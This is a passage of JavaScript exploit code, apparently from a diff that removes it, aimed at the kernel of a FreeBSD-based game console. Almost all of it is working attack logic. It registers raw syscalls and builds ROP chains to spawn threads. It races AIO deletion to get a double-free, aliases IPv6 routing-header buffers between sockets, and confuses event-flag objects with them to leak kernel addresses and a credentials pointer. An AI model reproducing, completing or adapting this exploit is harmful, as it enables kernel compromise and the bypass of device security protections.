= fn.register(20, 'getpid', 'bigint') -var getuid = fn.register(0x18, 'getuid', 'bigint') -var kill = fn.register(37, 'kill', 'bigint') -var connect = fn.register(98, 'connect', 'bigint') -var munmap = fn.register(0x49, 'munmap', 'bigint') -var mprotect = fn.register(0x4A, 'mprotect', 'bigint') -var getsockopt = fn.register(0x76, 'getsockopt', 'bigint') -var socketpair = fn.register(0x87, 'socketpair', 'bigint') -var sysctl = fn.register(0x0ca, 'sysctl', 'bigint') -var nanosleep = fn.register(0xF0, 'nanosleep', 'bigint') -var sched_yield = fn.register(0x14B, 'sched_yield', 'bigint') -var thr_exit = fn.register(0x1AF, 'thr_exit', 'bigint') -var thr_self = fn.register(0x1B0, 'thr_self', 'bigint') -var thr_new = fn.register(0x1C7, 'thr_new', 'bigint') -var rtprio_thread = fn.register(0x1D2, 'rtprio_thread', 'bigint') -var mmap = fn.register(477, 'mmap', 'bigint') -var cpuset_getaffinity = fn.register(0x1E7, 'cpuset_getaffinity', 'bigint') -var cpuset_setaffinity = fn.register(0x1E8, 'cpuset_setaffinity', 'bigint') -var jitshm_create = fn.register(0x215, 'jitshm_create', 'bigint') -var jitshm_alias = fn.register(0x216, 'jitshm_alias', 'bigint') - -var evf_create = fn.register(0x21A, 'evf_create', 'bigint') -var evf_devare = fn.register(0x21B, 'evf_devare', 'bigint') -var evf_set = fn.register(0x220, 'evf_set', 'bigint') -var evf_clear = fn.register(0x221, 'evf_clear', 'bigint') -var evf_delete = fn.register(0x21b, 'evf_delete', 'bigint') - -var is_in_sandbox = fn.register(0x249, 'is_in_sandbox', 'bigint') -var dlsym = fn.register(0x24F, 'dlsym', 'bigint') -var thr_suspend_ucontext = fn.register(0x278, 'thr_suspend_ucontext', 'bigint') -var thr_resume_ucontext = fn.register(0x279, 'thr_resume_ucontext', 'bigint') - -var aio_multi_delete = fn.register(0x296, 'aio_multi_delete', 'bigint') -var aio_multi_wait = fn.register(0x297, 'aio_multi_wait', 'bigint') -var aio_multi_poll = fn.register(0x298, 'aio_multi_poll', 'bigint') -var aio_multi_cancel = fn.register(0x29A, 'aio_multi_cancel', 'bigint') -var aio_submit_cmd = fn.register(0x29D, 'aio_submit_cmd', 'bigint') - -var kexec = fn.register(0x295, 'kexec', 'bigint') -var socket = fn.register(0x61, 'socket', 'bigint') -var setsockopt = fn.register(0x69, 'setsockopt', 'bigint') -var bind = fn.register(0x68, 'bind', 'bigint') -var read = fn.register(0x3, 'read', 'bigint') -var write = fn.register(0x4, 'write', 'bigint') -var open = fn.register(0x5, 'open', 'bigint') -var close = fn.register(0x6, 'close', 'bigint') -var accept = fn.register(0x1e, 'accept', 'bigint') -var listen = fn.register(0x6a, 'listen', 'bigint') -var getsockname = fn.register(0x20, 'getsockname', 'bigint') - -var setjmp = fn.register(libc_addr.add(0x6CA00), 'setjmp', 'bigint') -var setjmp_addr = libc_addr.add(0x6CA00) -var longjmp = fn.register(libc_addr.add(0x6CA50), 'longjmp', 'bigint') -var longjmp_addr = libc_addr.add(0x6CA50) - -// Extract syscall wrapper addresses for ROP chains from syscalls.map -var read_wrapper = syscalls.map.get(0x03) -var write_wrapper = syscalls.map.get(0x04) -var sched_yield_wrapper = syscalls.map.get(0x14b) -var thr_suspend_ucontext_wrapper = syscalls.map.get(0x278) -var cpuset_setaffinity_wrapper = syscalls.map.get(0x1e8) -var rtprio_thread_wrapper = syscalls.map.get(0x1D2) -var aio_multi_delete_wrapper = syscalls.map.get(0x296) -var thr_exit_wrapper = syscalls.map.get(0x1af) - -var BigInt_Error = new BigInt(0xFFFFFFFF, 0xFFFFFFFF) - -function sysctlbyname (name, oldp, oldp_len, newp, newp_len) { - const translate_name_mib = malloc(0x8) - const buf_size = 0x70 - const mib = malloc(buf_size) - const size = malloc(0x8) - - write64(translate_name_mib, new BigInt(0x3, 0x0)) - write64(size, buf_size) - - const name_addr = utils.cstr(name) - const name_len = new BigInt(name.length) - - if (sysctl(translate_name_mib, 2, mib, size, name_addr, name_len).eq(new BigInt(0xffffffff, 0xffffffff))) { - log('failed to translate sysctl name to mib (' + name + ')') - } - - if (sysctl(mib, 2, oldp, oldp_len, newp, newp_len).eq(new BigInt(0xffffffff, 0xffffffff))) { - return false - } - - return true -} - -function get_fwversion () { - const buf = malloc(0x8) - const size = malloc(0x8) - write64(size, 0x8) - if (sysctlbyname('kern.sdk_version', buf, size, 0, 0)) { - const byte1 = Number(read8(buf.add(2))) // Minor version (first byte) - const byte2 = Number(read8(buf.add(3))) // Major version (second byte) - - const version = byte2.toString(16) + '.' + byte1.toString(16).padStart(2, '0') - return version - } - - return null -} - -function init_threading () { - const jmpbuf = malloc(0x60) - setjmp(jmpbuf) - saved_fpu_ctrl = Number(read32(jmpbuf.add(0x40))) - saved_mxcsr = Number(read32(jmpbuf.add(0x44))) -} - -function pin_to_core (core) { - const mask = malloc(0x10) - write32(mask, 1 << core) - cpuset_setaffinity(3, 1, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0x10, mask) -} - -function get_core_index (mask_addr) { - var num = Number(read32(mask_addr)) - var position = 0 - while (num > 0) { - num = num >>> 1 - position++ - } - return position - 1 -} - -function get_current_core () { - const mask = malloc(0x10) - cpuset_getaffinity(3, 1, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0x10, mask) - return get_core_index(mask) -} - -function set_rtprio (prio) { - const rtprio = malloc(0x4) - write16(rtprio, PRI_REALTIME) - write16(rtprio.add(2), prio) - rtprio_thread(RTP_SET, 0, rtprio) -} - -function get_rtprio () { - const rtprio = malloc(0x4) - write16(rtprio, PRI_REALTIME) - write16(rtprio.add(2), 0) - rtprio_thread(RTP_LOOKUP, 0, rtprio) - return Number(read16(rtprio.add(2))) -} - -function aio_submit_cmd_fun (cmd, reqs, num_reqs, priority, ids) { - const result = aio_submit_cmd(cmd, reqs, num_reqs, priority, ids) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('aio_submit_cmd error: ' + hex(result)) - } - return result -} - -function aio_multi_cancel_fun (ids, num_ids, states) { - const result = aio_multi_cancel(ids, num_ids, states) - if (result.eq(BigInt_Error)) { - throw new Error('aio_multi_cancel error: ' + hex(result)) - } - return result -} - -function aio_multi_poll_fun (ids, num_ids, states) { - const result = aio_multi_poll(ids, num_ids, states) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('aio_multi_poll error: ' + hex(result)) - } - return result -} - -function aio_multi_wait_fun (ids, num_ids, states, mode, timeout) { - const result = aio_multi_wait(ids, num_ids, states, mode, timeout) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('aio_multi_wait error: ' + hex(result)) - } - return result -} - -function aio_multi_delete_fun (ids, num_ids, states) { - const result = aio_multi_delete(ids, num_ids, states) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('aio_multi_delete error: ' + hex(result)) - } - return result -} - -function make_reqs1 (num_reqs) { - const reqs = malloc(0x28 * num_reqs) - for (var i = 0; i < num_reqs; i++) { - write32(reqs.add(i * 0x28 + 0x20), 0xFFFFFFFF) - } - return reqs -} - -function spray_aio (loops, reqs, num_reqs, ids, multi, cmd) { - loops = loops || 1 - cmd = cmd || AIO_CMD_READ - if (multi === undefined) multi = true - - const step = 4 * (multi ? num_reqs : 1) - const final_cmd = cmd | (multi ? AIO_CMD_FLAG_MULTI : 0) - - for (var i = 0; i < loops; i++) { - aio_submit_cmd_fun(final_cmd, reqs, num_reqs, 3, ids + (i * step)) - } -} - -function cancel_aios (ids, num_ids) { - const len = MAX_AIO_IDS - const rem = num_ids % len - const num_batches = Math.floor((num_ids - rem) / len) - - const errors = malloc(4 * len) - - for (var i = 0; i < num_batches; i++) { - aio_multi_cancel_fun(ids + (i * 4 * len), len, errors) - } - - if (rem > 0) { - aio_multi_cancel_fun(ids + (num_batches * 4 * len), rem, errors) - } -} - -function free_aios (ids, num_ids, do_cancel) { - if (do_cancel === undefined) do_cancel = true - - const len = MAX_AIO_IDS - const rem = num_ids % len - const num_batches = Math.floor((num_ids - rem) / len) - - const errors = malloc(4 * len) - - for (var i = 0; i < num_batches; i++) { - const addr = ids + i * 4 * len - if (do_cancel) { - aio_multi_cancel_fun(addr, len, errors) - } - aio_multi_poll_fun(addr, len, errors) - aio_multi_delete_fun(addr, len, errors) - } - - if (rem > 0) { - const addr = ids + (num_batches * 4 * len) - if (do_cancel) { - aio_multi_cancel_fun(addr, rem, errors) - } - aio_multi_poll_fun(addr, rem, errors) - aio_multi_delete_fun(addr, rem, errors) - } -} - -function free_aios2 (ids, num_ids) { - free_aios(ids, num_ids, false) -} - -function aton (ip_str) { - const parts = ip_str.split('.').map(Number) - return (parts[3] << 24) | (parts[2] << 16) | (parts[1] << 8) | parts[0] -} - -function new_tcp_socket () { - const sd = socket(AF_INET, SOCK_STREAM, 0) - if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('new_tcp_socket error: ' + hex(sd)) - } - return sd -} - -function new_socket () { - const sd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) - if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('new_socket error: ' + hex(sd)) - } - return sd -} - -function create_pipe () { - const fildes = malloc(0x10) - const result = pipe(fildes) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('pipe syscall failed') - } - const read_fd = new BigInt(read32(fildes)) // easier to have BigInt for upcoming usage - const write_fd = new BigInt(read32(fildes.add(4))) // easier to have BigInt for upcoming usage - return [read_fd, write_fd] -} - -function spawn_thread (rop_race1_array) { - const rop_race1_addr = malloc(0x400) // ROP Stack plus extra size - // log("This is rop_race1_array.length " + rop_race1_array.length); - // Fill ROP Stack - for (var i = 0; i < rop_race1_array.length; i++) { - write64(rop_race1_addr.add(i * 8), new BigInt(rop_race1_array[i])) - // log("This is what I wrote: " + hex(read64(rop_race1_addr.add(i*8)))); - } - - const jmpbuf = malloc(0x60) - - // FreeBSD amd64 jmp_buf layout: - // 0x00: RIP, 0x08: RBX, 0x10: RSP, 0x18: RBP, 0x20-0x38: R12-R15, 0x40: FPU, 0x44: MXCSR - write64(jmpbuf.add(0x00), gadgets.RET) // RIP - ret gadget - write64(jmpbuf.add(0x10), rop_race1_addr) // RSP - pivot to ROP chain - write32(jmpbuf.add(0x40), new BigInt(saved_fpu_ctrl)) // FPU control - write32(jmpbuf.add(0x44), new BigInt(saved_mxcsr)) // MXCSR - - const stack_size = new BigInt(0x400) - const tls_size = new BigInt(0x40) - - const thr_new_args = malloc(0x80) - const tid_addr = malloc(0x8) - const cpid = malloc(0x8) - const stack = malloc(Number(stack_size)) - const tls = malloc(Number(tls_size)) - - write64(thr_new_args.add(0x00), longjmp_addr) // start_func = longjmp - write64(thr_new_args.add(0x08), jmpbuf) // arg = jmpbuf - write64(thr_new_args.add(0x10), stack) // stack_base - write64(thr_new_args.add(0x18), stack_size) // stack_size - write64(thr_new_args.add(0x20), tls) // tls_base - write64(thr_new_args.add(0x28), tls_size) // tls_size - write64(thr_new_args.add(0x30), tid_addr) // child_tid (output) - write64(thr_new_args.add(0x38), cpid) // parent_tid (output) - - const result = thr_new(thr_new_args, new BigInt(0x68)) - if (!result.eq(0)) { - throw new Error('thr_new failed: ' + hex(result)) - } - - return read64(tid_addr) -} - -function nanosleep_fun (nsec) { - const timespec = malloc(0x10) - write64(timespec, Math.floor(nsec / 1e9)) // tv_sec - write64(timespec.add(8), nsec % 1e9) // tv_nsec - nanosleep(timespec) -} - -function wait_for (addr, threshold) { - while (!read64(addr).eq(new BigInt(threshold))) { - nanosleep_fun(1) - } -} - -function call_suspend_chain (pipe_write_fd, pipe_buf, thr_tid) { - var insts = [] - - // write(pipe_write_fd, pipe_buf, 1) - using per-syscall gadget - insts.push(gadgets.POP_RDI_RET) - insts.push(pipe_write_fd) - insts.push(gadgets.POP_RSI_RET) - insts.push(pipe_buf) - insts.push(gadgets.POP_RDX_RET) - insts.push(new BigInt(1)) - insts.push(write_wrapper) - - // sched_yield() - using per-syscall gadget - insts.push(sched_yield_wrapper) - - // thr_suspend_ucontext(thr_tid) - using per-syscall gadget - insts.push(gadgets.POP_RDI_RET) // pop rdi ; ret - insts.push(thr_tid) - insts.push(thr_suspend_ucontext_wrapper) - - // return value in rax is stored by rop.store() - - var store_size = 0x10 // 2 slots 1 for RBP and another for last syscall ret value - var store_addr = mem.malloc(store_size) - - rop.store(insts, store_addr, 1) - - rop.execute(insts, store_addr, store_size) - - return read64(store_addr.add(8)) // return value for 2nd slot -} - -function race_one (req_addr, tcp_sd, sds) { - try { - // log("this is ready_signal and deletion_signal " + hex(ready_signal) + " " + hex(deletion_signal)); - write64(ready_signal, 0) - write64(deletion_signal, 0) - - const sce_errs = malloc(0x100) // 8 bytes for errs + scratch for TCP_INFO - write32(sce_errs, 0xFFFFFFFF) // -1 - write32(sce_errs.add(4), 0xFFFFFFFF) // -1 - // log("race_one before pipe"); - var pipe_fds = create_pipe() - const pipe_read_fd = pipe_fds[0] - const pipe_write_fd = pipe_fds[1] - // const [pipe_read_fd, pipe_write_fd] = create_pipe(); - // log("race_one after pipe"); - - var rop_race1 = [] - - rop_race1.push(new BigInt(0)) // first element overwritten by longjmp, skip it - - const cpu_mask = malloc(0x10) - write16(cpu_mask, 1 << MAIN_CORE) - - // Pin to core - cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 0x10, mask) - rop_race1.push(gadgets.POP_RDI_RET) - rop_race1.push(new BigInt(3)) // CPU_LEVEL_WHICH - rop_race1.push(gadgets.POP_RSI_RET) - rop_race1.push(new BigInt(1)) // CPU_WHICH_TID - rop_race1.push(gadgets.POP_RDX_RET) - rop_race1.push(new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) // id = -1 (current thread) - rop_race1.push(gadgets.POP_RCX_RET) - rop_race1.push(new BigInt(0x10)) // setsize - rop_race1.push(gadgets.POP_R8_RET) - rop_race1.push(cpu_mask) - rop_race1.push(cpuset_setaffinity_wrapper) - - const rtprio_buf = malloc(4) - write16(rtprio_buf, PRI_REALTIME) - write16(rtprio_buf.add(2), MAIN_RTPRIO) - - // Set priority - rtprio_thread(RTP_SET, 0, rtprio_buf) - rop_race1.push(gadgets.POP_RDI_RET) - rop_race1.push(new BigInt(1)) // RTP_SET - rop_race1.push(gadgets.POP_RSI_RET) - rop_race1.push(new BigInt(0)) // lwpid = 0 (current thread) - rop_race1.push(gadgets.POP_RDX_RET) - rop_race1.push(rtprio_buf) - rop_race1.push(rtprio_thread_wrapper) - - // Signal ready - write 1 to ready_signal - rop_race1.push(gadgets.POP_RDI_RET) - rop_race1.push(ready_signal) - rop_race1.push(gadgets.POP_RAX_RET) - rop_race1.push(new BigInt(1)) - rop_race1.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - - // Read from pipe (blocks here) - read(pipe_read_fd, pipe_buf, 1) - rop_race1.push(gadgets.POP_RDI_RET) - rop_race1.push(pipe_read_fd) - rop_race1.push(gadgets.POP_RSI_RET) - rop_race1.push(pipe_buf) - rop_race1.push(gadgets.POP_RDX_RET) - rop_race1.push(new BigInt(1)) - rop_race1.push(read_wrapper) - - // aio multi delete - aio_multi_delete(req_addr, 1, sce_errs + 4) - rop_race1.push(gadgets.POP_RDI_RET) - rop_race1.push(req_addr) - rop_race1.push(gadgets.POP_RSI_RET) - rop_race1.push(new BigInt(1)) - rop_race1.push(gadgets.POP_RDX_RET) - rop_race1.push(sce_errs.add(4)) - rop_race1.push(aio_multi_delete_wrapper) - - // Signal deletion - write 1 to deletion_signal - rop_race1.push(gadgets.POP_RDI_RET) // pop rdi ; ret - rop_race1.push(deletion_signal) - rop_race1.push(gadgets.POP_RAX_RET) - rop_race1.push(new BigInt(1)) - rop_race1.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) - - // Thread exit - thr_exit(0) - rop_race1.push(gadgets.POP_RDI_RET) - rop_race1.push(new BigInt(0)) - rop_race1.push(thr_exit_wrapper) - - // log("race_one before spawnt_thread"); - const thr_tid = spawn_thread(rop_race1) - // log("race_one after spawnt_thread"); - - // Wait for thread to signal ready - wait_for(ready_signal, 1) - // log("race_one after wait_for"); - - const suspend_res = call_suspend_chain(pipe_write_fd, pipe_buf, thr_tid) - log('Suspend result: ' + hex(suspend_res)) - // log("race_one after call_suspend_chain"); - - const scratch = sce_errs.add(8) // Use offset for scratch space - aio_multi_poll_fun(req_addr, 1, scratch) - const poll_res = read32(scratch) - log('poll_res after suspend: ' + hex(poll_res)) - // log("race_one after aio_multi_poll_fun"); - - get_sockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, scratch, size_tcp_info) - const tcp_state = read8(scratch) - log('tcp_state: ' + hex(tcp_state)) - - var won_race = false - - if (poll_res !== SCE_KERNEL_ERROR_ESRCH && tcp_state !== TCPS_ESTABLISHED) { - aio_multi_delete_fun(req_addr, 1, sce_errs) - won_race = true - log('Race won!') - } else { - log('Race not won (poll_res=' + hex(poll_res) + ' tcp_state=' + hex(tcp_state) + ')') - } - - const resume_result = thr_resume_ucontext(thr_tid) - log('Resume ' + hex(thr_tid) + ': ' + resume_result) - // log("race_one after thr_resume_ucontext"); - nanosleep_fun(5) - - if (won_race) { - const err_main_thr = read32(sce_errs) - const err_worker_thr = read32(sce_errs.add(4)) - log('sce_errs: main=' + hex(err_main_thr) + ' worker=' + hex(err_worker_thr)) - - if (err_main_thr === err_worker_thr && err_main_thr === 0) { - log('Double-free successful, making aliased rthdrs...') - const sd_pair = make_aliased_rthdrs(sds) - - if (sd_pair !== null) { - close(pipe_read_fd) - close(pipe_write_fd) - return sd_pair - } else { - log('Failed to make aliased rthdrs') - } - } else { - log('sce_errs mismatch - race failed') - } - } - - close(pipe_read_fd) - close(pipe_write_fd) - - return null - } catch (e) { - log(' race_one error: ' + e.message) - return null - } -} - -function build_rthdr (buf, size) { - const len = ((Number(size) >> 3) - 1) & ~1 - const actual_size = (len + 1) << 3 - write8(buf, 0) - write8(buf.add(1), len) - write8(buf.add(2), 0) - write8(buf.add(3), len >> 1) - return actual_size -} - -function set_sockopt (sd, level, optname, optval, optlen) { - const result = setsockopt(sd, level, optname, optval, optlen) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('set_sockopt error: ' + hex(result)) - } - return result -} - -function get_sockopt (sd, level, optname, optval, optlen) { - const len_ptr = malloc(4) - write32(len_ptr, optlen) - const result = getsockopt(sd, level, optname, optval, len_ptr) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('get_sockopt error: ' + hex(result)) - } - return read32(len_ptr) -} - -function set_rthdr (sd, buf, len) { - return set_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len) -} - -function get_rthdr (sd, buf, max_len) { - return get_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, max_len) -} - -function free_rthdrs (sds) { - for (var i = 0; i < sds.length; i++) { - if (!sds[i].eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - set_sockopt(sds[i], IPPROTO_IPV6, IPV6_RTHDR, 0, 0) - } - } -} - -function make_aliased_rthdrs (sds) { - const marker_offset = 4 - const size = 0x80 - const buf = malloc(size) - const rsize = build_rthdr(buf, size) - - for (var loop = 1; loop <= NUM_ALIAS; loop++) { - for (var i = 1; i <= Math.min(sds.length, NUM_SDS); i++) { - const sd = Number(sds[i - 1]) - if (!sds[i - 1].eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { // sds[i-1] !== 0xffffffffffffffff - write32(buf.add(marker_offset), i) - set_rthdr(sd, buf, rsize) - } - } - - for (var i = 1; i <= Math.min(sds.length, NUM_SDS); i++) { - const sd = Number(sds[i - 1]) - if (!sds[i - 1].eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { // sds[i-1] !== 0xffffffffffffffff - get_rthdr(sd, buf, size) - const marker = Number(read32(buf.add(marker_offset))) - - if (marker !== i && marker > 0 && marker <= NUM_SDS) { - const aliased_idx = marker - 1 - const aliased_sd = Number(sds[aliased_idx]) - if (aliased_idx >= 0 && aliased_idx < sds.length && !sds[aliased_idx].eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { // sds[aliased_idx] !== 0xffffffffffffffff - log(' Aliased pktopts found') - const sd_pair = [sd, aliased_sd] - const max_idx = Math.max(i - 1, aliased_idx) - const min_idx = Math.min(i - 1, aliased_idx) - sds.splice(max_idx, 1) - sds.splice(min_idx, 1) - free_rthdrs(sds) - sds.push(new_socket()) - sds.push(new_socket()) - return sd_pair - } - } - } - } - } - return null -} - -function setup () { - try { - init_threading() - - ready_signal = malloc(8) - deletion_signal = malloc(8) - pipe_buf = malloc(8) - - write64(ready_signal, 0) - write64(deletion_signal, 0) - - prev_core = get_current_core() - prev_rtprio = get_rtprio() - - pin_to_core(MAIN_CORE) - set_rtprio(MAIN_RTPRIO) - log(' Previous core ' + prev_core + ' Pinned to core ' + MAIN_CORE) - - const sockpair = malloc(8) - ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sockpair) - if (!ret.eq(0)) { - return false - } - - block_fd = read32(sockpair) - unblock_fd = read32(sockpair.add(4)) - - const block_reqs = malloc(0x28 * NUM_WORKERS) - for (var i = 0; i < NUM_WORKERS; i++) { - const offset = i * 0x28 - write32(block_reqs.add(offset).add(0x08), 1) - write32(block_reqs.add(offset).add(0x20), block_fd) - } - - const block_id_buf = malloc(4) - ret = aio_submit_cmd_fun(AIO_CMD_READ, block_reqs, NUM_WORKERS, 3, block_id_buf) - if (!ret.eq(0)) { - return false - } - - block_id = read32(block_id_buf) - log(' AIO workers ready') - - const num_reqs = 3 - const groom_reqs = make_reqs1(num_reqs) - const groom_ids_addr = malloc(4 * NUM_GROOMS) - - spray_aio(NUM_GROOMS, groom_reqs, num_reqs, groom_ids_addr, false) - cancel_aios(groom_ids_addr, NUM_GROOMS) - - groom_ids = [] - for (var i = 0; i < NUM_GROOMS; i++) { - groom_ids.push(Number(read32(groom_ids_addr.add(i * 4)))) - } - - sds = [] - for (var i = 0; i < NUM_SDS; i++) { - const sd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) - if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('socket alloc failed at sds[' + i + '] - reboot system') - } - sds.push(sd) - } - - sds_alt = [] - for (var i = 0; i < NUM_SDS_ALT; i++) { - const sd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) - if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('socket alloc failed at sds_alt[' + i + '] - reboot system') - } - sds_alt.push(sd) - } - log(' Sockets allocated (' + NUM_SDS + ' + ' + NUM_SDS_ALT + ')') - - return true - } catch (e) { - log(' Setup failed: ' + e.message) - return false - } -} - -function double_free_reqs2 () { - try { - const server_addr = malloc(16) - write8(server_addr.add(1), AF_INET) - write16(server_addr.add(2), 0) - write32(server_addr.add(4), aton('127.0.0.1')) - - const sd_listen = new_tcp_socket() - - const enable = malloc(4) - write32(enable, 1) - set_sockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, enable, 4) - - ret = bind(sd_listen, server_addr, 16) - - if (!ret.eq(0)) { - log('bind failed') - close(sd_listen) - return null - } - - const addr_len = malloc(4) - write32(addr_len, 16) - ret = getsockname(sd_listen, server_addr, addr_len) - if (!ret.eq(0)) { - log('getsockname failed') - close(sd_listen) - return null - } - log('Bound to port: ' + Number(read16(server_addr.add(2)))) - - ret = listen(sd_listen, 1) - if (!ret.eq(0)) { - log('listen failed') - close(sd_listen) - return null - } - - const num_reqs = 3 - const which_req = num_reqs - 1 - const reqs = make_reqs1(num_reqs) - const aio_ids = malloc(4 * num_reqs) - const req_addr = aio_ids.add(which_req * 4) - const errors = malloc(4 * num_reqs) - const cmd = AIO_CMD_MULTI_READ - - for (var attempt = 1; attempt <= NUM_RACES; attempt++) { - // log("Race attempt " + attempt + "/" + NUM_RACES); - - const sd_client = new_tcp_socket() - - ret = connect(sd_client, server_addr, 16) - if (!ret.eq(0)) { - close(sd_client) - continue - } - - const sd_conn = accept(sd_listen, 0, 0) - // log("Race attempt after accept") - const linger_buf = malloc(8) - write32(linger_buf, 1) - write32(linger_buf.add(4), 1) - set_sockopt(sd_client, SOL_SOCKET, SO_LINGER, linger_buf, 8) - // log("Race attempt after set_sockopt") - write32(reqs.add(which_req * 0x28 + 0x20), sd_client) - - ret = aio_submit_cmd_fun(cmd, reqs, num_reqs, 3, aio_ids) - if (!ret.eq(0)) { - close(sd_client) - close(sd_conn) - continue - } - // log("Race attempt after aio_submit_cmd_fun") - aio_multi_cancel_fun(aio_ids, num_reqs, errors) - // log("Race attempt after aio_multi_cancel_fun") - aio_multi_poll_fun(aio_ids, num_reqs, errors) - // log("Race attempt after aio_multi_poll_fun") - - close(sd_client) - // log("Race attempt before race_one") - const sd_pair = race_one(req_addr, sd_conn, sds) - - aio_multi_delete_fun(aio_ids, num_reqs, errors) - close(sd_conn) - - if (sd_pair !== null) { - log('Won race at attempt ' + attempt) - close(sd_listen) - return sd_pair - } - } - - close(sd_listen) - return null - } catch (e) { - log('Stage 1 error: ' + e.message) - return null - } -} - -// Stage 2 -function new_evf (name, flags) { - const result = evf_create(name, 0, flags) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('evf_create error: ' + hex(result)) - } - return result -} - -function set_evf_flags (id, flags) { - var result = evf_clear(id, 0) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('evf_clear error: ' + hex(result)) - } - result = evf_set(id, flags) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('evf_set error: ' + hex(result)) - } - return result -} - -function free_evf (id) { - const result = evf_delete(id) - if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { - throw new Error('evf_delete error: ' + hex(result)) - } - return result -} - -function verify_reqs2 (addr, cmd) { - if (read32(addr) !== cmd) { - return false - } - - const heap_prefixes = [] - - for (var i = 0x10; i <= 0x20; i += 8) { - if (read16(addr.add(i + 6)) !== 0xffff) { - return false - } - heap_prefixes.push(Number(read16(addr.add(i + 4)))) - } - - const state1 = Number(read32(addr.add(0x38))) - const state2 = Number(read32(addr.add(0x3c))) - if (!(state1 > 0 && state1 <= 4) || state2 !== 0) { - return false - } - - if (!read64(addr.add(0x40)).eq(0)) { - return false - } - - for (var i = 0x48; i <= 0x50; i += 8) { - if (read16(addr.add(i + 6)) === 0xffff) { - if (read16(addr.add(i + 4)) !== 0xffff) { - heap_prefixes.push(Number(read16(addr.add(i + 4)))) - } - } else if (i === 0x50 || !read64(addr.add(i)).eq(0)) { - return false - } - } - - if (heap_prefixes.length < 2) { - return false - } - - const first_prefix = heap_prefixes[0] - for (var idx = 1; idx < heap_prefixes.length; idx++) { - if (heap_prefixes[idx] !== first_prefix) { - return false - } - } - - return true -} - -function leak_kernel_addrs (sd_pair, sds) { - const sd = sd_pair[0] - const buflen = 0x80 * LEAK_LEN - const buf = malloc(buflen) - - log('Confusing evf with rthdr...') - - const name = malloc(1) - - close(sd_pair[1]) - - var evf = null - for (var i = 1; i <= NUM_ALIAS; i++) { - const evfs = [] - - for (var j = 1; j <= NUM_HANDLES; j++) { - const evf_flags = 0xf00 | (j << 16) - evfs.push(new_evf(name, evf_flags)) - } - - get_rthdr(sd, buf, 0x80) - - const flag = read32(buf) - - if ((flag & 0xf00) === 0xf00) { - const idx = (flag >>> 16) & 0xffff - const expected_flag = (flag | 1) - - evf = evfs[idx - 1] - - set_evf_flags(evf, expected_flag) - get_rthdr(sd, buf, 0x80) - - const val = read32(buf) - if (val === expected_flag) { - evfs.splice(idx - 1, 1) - } else { - evf = null - } - } - - for (var k = 0; k < evfs.length; k++) { - if (evf === null || evfs[k] !== evf) { - free_evf(evfs[k]) - } - } - - if (evf !== null) { - log('Confused rthdr and evf at attempt: ' + i) - break - } - } - - if (evf === null) { - log('Failed to confuse evf and rthdr') - return null - } - - set_evf_flags(evf, 0xff00) - - const kernel_addr = read64(buf.add(0x28)) - log('"evf cv" string addr: ' + hex(kernel_addr)) - - const kbuf_addr = read64(buf.add(0x40)).sub(0x38) // -0x38 - log('Kernel buffer addr: ' + hex(kbuf_addr)) - - const wbufsz = 0x80 - const wbuf = malloc(wbufsz) - const rsize = build_rthdr(wbuf, wbufsz) - const marker_val = 0xdeadbeef - const reqs3_offset = 0x10 - - write32(wbuf.add(4), marker_val) - write32(wbuf.add(reqs3_offset + 0), 1) // .ar3_num_reqs - write32(wbuf.add(reqs3_offset + 4), 0) // .ar3_reqs_left - write32(wbuf.add(reqs3_offset + 8), AIO_STATE_COMPLETE) // .ar3_state - write8(wbuf.add(reqs3_offset + 0xc), 0) // .ar3_done - write32(wbuf.add(reqs3_offset + 0x28), 0x67b0000) // .ar3_lock.lock_object.lo_flags - write64(wbuf.add(reqs3_offset + 0x38), 1) // .ar3_lock.lk_lock = LK_UNLOCKED - - const num_elems = 6 - const ucred = kbuf_addr.add(4) - const leak_reqs = make_reqs1(num_elems) - write64(leak_reqs.add(0x10), ucred) - - const num_loop = NUM_SDS - const leak_ids_len = num_loop * num_elems - const leak_ids = malloc(4 * leak_ids_len) - const step = (4 * num_elems) - const cmd = AIO_CMD_WRITE | AIO_CMD_FLAG_MULTI - - var reqs2_off = null - var fake_reqs3_off = null - var fake_reqs3_sd = null - - for (var i = 1; i <= NUM_LEAKS; i++) { - for (var j = 1; j <= num_loop; j++) { - write32(wbuf.add(8), j) - 